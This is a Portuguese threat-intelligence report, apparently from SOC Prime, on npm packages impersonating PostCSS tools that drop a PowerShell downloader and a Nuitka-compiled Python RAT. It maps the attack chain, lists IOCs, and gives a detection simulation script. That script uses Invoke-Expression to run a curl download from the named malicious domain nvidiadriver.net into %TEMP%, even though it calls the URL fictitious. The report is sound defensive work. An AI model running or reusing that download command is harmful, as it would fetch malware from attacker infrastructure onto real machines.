PostCSS Disfarçado como um Caminho para Entrega de RAT no Windows

SOC Prime Team

Seguir

PostCSS Disfarçado como um Caminho para Entrega de RAT no Windows

Detection stack

AIDR
Alert
ETL
Query

Relatório de Ameaça
Fluxo de Ataque
Detecções
Simulações

Resumo

Atacantes estão abusando da personificação de pacotes npm para disseminar um RAT de múltiplos estágios no Windows. Pacotes maliciosos como postcss-minify-selector-parser são apresentados como utilitários de build legítimos para comprometer ambientes de desenvolvedores. Uma vez acionada, a cadeia de infecção lança um downloader PowerShell que busca um RAT Python compilado com Nuitka, capaz de roubar credenciais e fornecer acesso remoto por shell.

Investigação

Pesquisadores descobriram um conjunto de pacotes npm maliciosos que referenciam dependências legítimas para parecerem críveis. A investigação mapeou uma cadeia de infecção em camadas que começa com um dropper JavaScript, avança para um downloader PowerShell e termina com uma carga útil sofisticada baseada em Python. Ao analisar os componentes compilados com Nuitka, os pesquisadores foram capazes de reconstruir o protocolo de comando e controle do RAT e os comandos suportados.

Mitigação

Os usuários devem remover imediatamente os pacotes npm maliciosos identificados e revisar as árvores de dependência para qualquer exposição transitiva. As organizações também devem bloquear os domínios e endereços IP de comando e controle conhecidos. Se houver suspeita de comprometimento, os desenvolvedores devem girar as credenciais armazenadas no navegador e todos os tokens relacionados ao desenvolvimento sem demora.

Resposta

Os endpoints do Windows devem ser examinados para artefatos como %TEMP%winPatch, %TEMP%.store, e %TEMP%.host. Os investigadores também devem revisar a persistência na chave de registro HKCURun para o valor csshost . Deve-se realizar uma auditoria completa das estações de trabalho dos desenvolvedores para identificar atividades remotas não autorizadas ou sinais de roubo de credenciais.

"graph TB %% Class Definitions classDef technique fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef persistence fill:#99ff99 %% Node Definitions attack_supply_chain["Técnica – T1195.001 Comprometimento da Cadeia de Suprimentos: Comprometimento de Dependências de Software e Ferramentas de Desenvolvimento Descrição: Personificação de pacotes no npm via pacotes semelhantes, como postcss-minify-selector-parser. Alvo: Ambientes de desenvolvedores"] class attack_supply_chain technique attack_user_execution["Técnica – T1204.005 Execução do Usuário: Biblioteca Maliciosa Descrição: Acionado quando o pacote npm malicioso é importado. Ação: Executa um dropper JavaScript codificado."] class attack_user_execution technique process_powershell["Técnica – T1059.001 Interpretador de Comandos e Scripts: PowerShell Descrição: O PowerShell é usado para escrever e executar o script malicioso. Arquivo: ../../settings.ps1"] class process_powershell technique attack_indicator_removal["Técnica – T1070.010 Remoção de Indicador: Realocação de Malware Descrição: Uso de um domínio enganoso para baixar a carga útil. Domínio: nvidiadriver[.]net"] class attack_indicator_removal technique tool_cmd_shell["Técnica – T1059.003 Interpretador de Comandos e Scripts: Shell de Comando do Windows Descrição: Usado para extrair o pacote da carga útil. Acionamento: Execução pós-download."] class tool_cmd_shell technique malware_vbs_bootstrapper["Malware – Inicializador VBS Descrição: Lança a carga útil principal de malware."] class malware_vbs_bootstrapper malware malware_rat["Malware – Ferramenta de Acesso Remoto (RAT) Descrição: Carregador baseado em Python utilizando módulos compilados com Nuitka. Funcionalidade: Fornece capacidades de acesso remoto."] class malware_rat malware attack_persistence["Técnica – T1547.001 Execução de Inicialização ou Logon: Chaves de Inicialização do Registro / Pasta de Inicialização Descrição: Cria um valor de registro para persistência. Valor do Registro: csshost"] class attack_persistence persistence attack_evasion["Técnica – T1497.001 Evasão de Virtualização/Sandbox: Verificações de Sistema Descrição: Usa consultas WMI para detectar ambientes virtuais. Comando: wmic bios get serialnumber"] class attack_evasion technique attack_c2["Técnica – T1219 Ferramentas de Acesso Remoto Descrição: Mantém comunicação com o servidor C2 via pacotes POST criptografados. Endereço C2: hxxp[:]//95[.]216[.]92[.]207:8080"] class attack_c2 technique attack_credential_access["Técnica – T1555.003 Credenciais de Armazenadores de Senhas: Credenciais de Navegadores Web Descrição: Rouba credenciais salvas do Chrome. Arquivos Alvo: Dados de Login e Estado Local"] class attack_credential_access technique %% Connections attack_supply_chain –>|leads_to| attack_user_execution attack_user_execution –>|executes| process_powershell process_powershell –>|performs| attack_indicator_removal attack_indicator_removal –>|triggers| tool_cmd_shell tool_cmd_shell –>|launches| malware_vbs_bootstrapper malware_vbs_bootstrapper –>|installs| malware_rat malware_rat –>|establishes| attack_persistence malware_rat –>|performs| attack_evasion malware_rat –>|communicates_via| attack_c2 malware_rat –>|exfiltrates| attack_credential_access "

Fluxo de Ataque

Ver

## Execução da Simulação

Pré-requisito: A Verificação Pré-voo de Telemetria e Base deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.

Narrativa & Comandos de Ataque: O adversário pretende estabelecer uma posição no sistema mascarando-se como um processo legítimo de atualização de software. Para isso, eles usam o PowerShell para invocar o utilitário nativo curl.exe Utilitário. Ao usar o sinalizador -k (inseguro), eles contornam a validação do certificado SSL, e ao especificar um caminho de destino em $env:TEMP com um nome de arquivo como winPatch.zip, eles tentam se misturar ao ruído de atualizações de sistema de rotina. O objetivo é baixar uma carga maliciosa que, uma vez executada, fornece acesso remoto.

Script de Teste de Regressão:

# Script de simulação para acionar a regra de detecção específica
# Nota: Isto usa um URL fictício por segurança, mas imita a estrutura exata exigida pela regra.

$cmd = 'curl.exe -k -o "$env:TEMPwinPatch.zip" https://nvidiadriver.net/verv1432/winpatch-xd7d.win'

Write-Host "Executando comando de download malicioso simulado..."
Invoke-Expression $cmd

Comandos de Limpeza:

# Limpar o arquivo fictício baixado
if (Test-Path "$env:TEMPwinPatch.zip") {
    Remove-Item -Path "$env:TEMPwinPatch.zip" -Force
    Write-Host "Limpeza bem-sucedida: Arquivo fictício removido."
} else {
    Write-Host "Limpeza: Arquivo não encontrado."
}

Junte-se à plataforma Detection as Code da SOC Prime para melhorar a visibilidade das ameaças mais relevantes para o seu negócio. Para ajudá-lo a começar e gerar valor imediato, agende uma reunião agora com os especialistas da SOC Prime.

Cadastre-se Gratuitamente